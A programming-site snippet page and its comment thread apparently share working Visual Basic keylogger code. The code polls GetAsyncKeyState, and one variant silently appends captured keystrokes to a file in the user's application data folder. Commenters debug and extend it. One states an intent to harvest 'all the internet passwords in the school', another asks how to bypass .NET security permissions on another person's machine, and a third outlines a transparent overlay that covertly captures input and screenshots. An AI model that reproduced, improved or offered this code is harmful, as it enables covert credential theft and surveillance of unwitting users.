Library code snippets
Simple Key logger
I'm working on a real keylogger, and I was researching how to do them, and after a bit of thinking I came up with this code... it works for a very very basic keylogger, but you'll get tons of unwanted weird characters in your text, so you have to do a lot of modification if you want to use this for a good quality keylogger (like I am).
Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Related articles
Related discussion
-
Problem with migration to C# (CoCreateInstanceEx)
by LRollison (1 replies)
-
VB6 Problem Creating Shortcuts
by rb1177 (0 replies)
-
how can i open a file
by kyawswarhtun (0 replies)
-
how to save any one form what i want?
by blackguy (5 replies)
-
Build an MP3 Player
by soybees (4 replies)
Related podcasts
-
Christian Beauclair
14 mai 2008 (�mission #0074) ::.Christian Beauclair: Stratégies de migration VB6 vers .NET Nous discutons avec Christian Beauclair des stratégies de migration VB6 vers .NET. Entre autres, nous discutons comment utiliser le "VB 6 Code Advisor" et le "Interop Forms Toolkit" pour ajouter la puiss...
i have a question that bothers me for a very long time every time c these keylog codes posted.
How do i receive wat was typed?
select case i
case (something)
add "This key"
case else
add chr(i)
end select
??
btw, did someone get the Shift function right?
Hi,
Is there also a way to change the aA to a and AA to A with out typing out all the replace commands for every letter?
do you have any idea how to do it in vb6?
i tried this code in vb6 but i get compilation errors
I have the same problem with everything coming out upper case. The ASCII character number that is returned to the program is the same whether I type an uppercase or lower case letter.
Anyone find a fix for this?!?!
Ive got a problem...everything is fine on the computer I created the program on but when I test it on my brothers machine it fails to pass a security exception..(System.Security.Permission)
Now what I want to do is bypass this security check without changing it in the administrative .NET configuration manually. So is there any way that you can adjust the settings for the .NET permissions of security on the startup of the application automatically with a confirmation screen and then revert back to the normal .NET settings on exit or maybe just bypass all security permission checks altogether?
So far everything is ok on VB .Net 2005 express.
Regards,
Andrew
Private
strLetter As String = "" Private ret As Integer Private counter As Integer = 0 Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vkey As Integer) As IntegerPrivate
Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.LoadMe.Timer1.Interval = 10
Me.Timer1.Enabled = True
Me.Timer1.Start()
End Sub
Private
Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i As Integer = 32 To 128ret = 0
ret = GetAsyncKeyState(i)
If ret = -32767 Then Me.strLetter &= i & vbTab & Chr(i) & vbCrLf End If Next If Me.counter > 60000 Then My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\readMe.txt", Me.strLetter, True) Me.strLetter = "" Me.counter = 0 End Ifcounter += 1
End Subsorry for the double....but there seems to be an error when i try to edit my post and insert a quote...
anyway,...can you post a tutorial/source code in vb?
Once you know one language, the rest come easy. Especially if the first is C++ and the second is Visual Basic :P
can you post a tutorial/source code in vb?
try
if i=keys.lbutton(stands for left mouse button) then
me.textbox.text &= "(Left Click)"
end if
For i as integer=32 to 128 step 1
.....
next i
Hello there! I got the code to work but the output is always in the upper case....the caps lock is not pressed. Could use some help....thanks
um, can you do this in 2003? It says that i is not declared!
Help
mouse left click = 1
if chr(i) = chr(1) then
me.textbox.text += "(Left Click)"
@,_,%,#,!,%,
Because with this code, I can't seem to view any special characters, and I would like to. Could you tell me what needs to be changed in the code to allow special characters?
I am currently working on my first keylogger but im not willing to stop short on this one... I have been doing some browsing on the internet and i have found many usefull tips and tricks. I also have a cure for the screen hog part. The way my keylogger will work is the form will be transparent and will cover the whole screen, this is essential for the first benefit of my program. I am making the program so that it takes a screenshot and saves it every thime the mouse is clicked (down and up). Since the form is transparent (to an extent) the user can manipulate things beneath the form while unknowingly using the form. This is the good part for keylogger. For this keylogger to work though, you have to be able to make it so that everytime a key is pressed on your textbox it sends that key to whichever program or whatever they have bellow your form. This is done by the ,you guessed it, Sendkeys method. You can find more information on that online all over the place.
Hey, thanks for the help, I got the code to work, but it really seems to be a CPU hog!! Any suggestions on what may be causing this, or how to remedy it?
____________________________________________________________________________
Public Class Form1
Dim result As Integer
Dim i As Double
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Interval = 10
Timer1.Enabled = True
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
______________________________________________________________________
when i try to run the code it says name 'i' is not declared
i am using vb 2005 express
About the PInvoke error, in this context you van set the vKey type to Integer:
Private
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As IntegerThis is because the Long type was 4 byte in VB6, but in VB.NET is 8 byte
Hey, can't seem to get this code to work.
I am working on VB.net Express.
I added the code, but I seem to get an error:
"A call to PInvoke function 'WindowsApplication1!WindowsApplication1.Form1::GetAsyncKeyState' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature."
And of course it crashes...And ideas?
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
End Sub
'That should fix the wierd characters
I'm 15, try putting that into C++ and then I'll be impressed.
C++ is a nightmare with this sort of thing
Finally, are you using this key logger for legal purposes - I use key loggers on my pc to monitor usage
Ty a lot.
it's only loads of work to get rid of all the weird characters but i'll succeed.
:-)
thanks. im guessing this is visual basic 6.0 so no i will have all the internet passwords in the school.

If anyone needs information how to have it saved to a or any VB help, please write to hotmailmemberservices@hotmail.com
This is not hotmail, rather it is my own personal account, so please feel free to conract me.
-Defilar
hey thanks for showing me how to make the keylogger but how do i save the keys into an alternate file?
Well i was looking at making keyloggers as well and yea,that helped so ty.ur 14? im 14 as well
turing 15 in 2 months.If it wasnt too much troube gimme some help with extending the logger?
unllimted_carnage@hotmail.com
add to msn....
This code should be enough to get me strarting.
Thanks, from,
TDc
This thread is for discussions of Simple Key logger.